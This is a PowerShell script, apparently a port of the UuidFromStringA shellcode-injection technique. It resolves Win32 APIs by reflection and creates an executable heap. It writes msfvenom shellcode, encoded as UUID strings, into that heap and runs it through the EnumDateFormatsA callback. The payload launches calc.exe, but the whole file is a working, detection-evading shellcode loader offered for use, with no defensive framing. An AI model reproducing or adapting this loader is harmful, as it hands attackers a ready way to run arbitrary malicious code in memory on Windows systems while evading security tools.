UuidFromStringA ported to powershell

UuidFromStringA_Shellcode_Inject.ps1

function getDelegateType() 
{
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void]);
$type=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Ref')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('AAA', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]);
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed');
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed');
return $type.CreateType(); 
}
function LookupFunc() {Param ($moduleName, $functionName);
$assem = ([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods');
$tmp=@();
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}};
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) };

#load functions
$uuid=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc Rpcrt4.dll UuidFromStringA),(getDelegateType @([string], [System.IntPtr]) ([System.IntPtr])));
$heapcreate=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll HeapCreate),(getDelegateType @([uint64],[UIntPtr], [UIntPtr]) ([IntPtr])));
$heapalloc=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll HeapAlloc),(getDelegateType @([System.IntPtr],[UInt64], [uint64]) ([IntPtr])));
$enumdateformatsa=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll EnumDateFormatsA),(getDelegateType @([System.IntPtr],[System.IntPtr], [int]) ([IntPtr])));
#shellcode: msfvenom -p windows/x64/exec CMD="calc.exe" -f raw -o calc.bin 
$Fun = @("e48348fc-e8f0-00c0-0000-415141505251","d2314856-4865-528b-6048-8b5218488b52","728b4820-4850-b70f-4a4a-4d31c94831c0","7c613cac-2c02-4120-c1c9-0d4101c1e2ed","48514152-528b-8b20-423c-4801d08b8088","48000000-c085-6774-4801-d0508b481844","4920408b-d001-56e3-48ff-c9418b348848","314dd601-48c9-c031-ac41-c1c90d4101c1","f175e038-034c-244c-0845-39d175d85844","4924408b-d001-4166-8b0c-48448b401c49","8b41d001-8804-0148-d041-5841585e595a","59415841-5a41-8348-ec20-4152ffe05841","8b485a59-e912-ff57-ffff-5d48ba010000","00000000-4800-8d8d-0101-000041ba318b","d5ff876f-e0bb-2a1d-0a41-baa695bd9dff","c48348d5-3c28-7c06-0a80-fbe07505bb47","6a6f7213-5900-8941-daff-d563616c632e","00657865-9090-9090-9090-909090909090");
#crate and allocate heap memory 
[uint64]$HEAP_CREATE_ENABLE_EXECUTE =  0x00040000;
[IntPtr]$hhandle = $heapcreate.Invoke($HEAP_CREATE_ENABLE_EXECUTE,[UIntPtr]::Zero,[UIntPtr]::Zero);
[uint64]$dwflags = 0;
[uint64]$dwbytes =  0x100000;
[IntPtr]$ha = $heapalloc.Invoke($hhandle,$dwflags,$dwbytes);
[IntPtr]$heapa = [IntPtr]::Zero;
for ($i=0;$i -lt $fun.Length;$i++)
{
 #write shellcode to memory 
 $heapa = [IntPtr]::Add($ha,16 * $i);
 [IntPtr]$result = $uuid.Invoke($fun[$i],$heapa);
}
#execute shellcode
[IntPtr]$execute = $enumdateformatsa.Invoke($ha,[IntPtr]::Zero,0);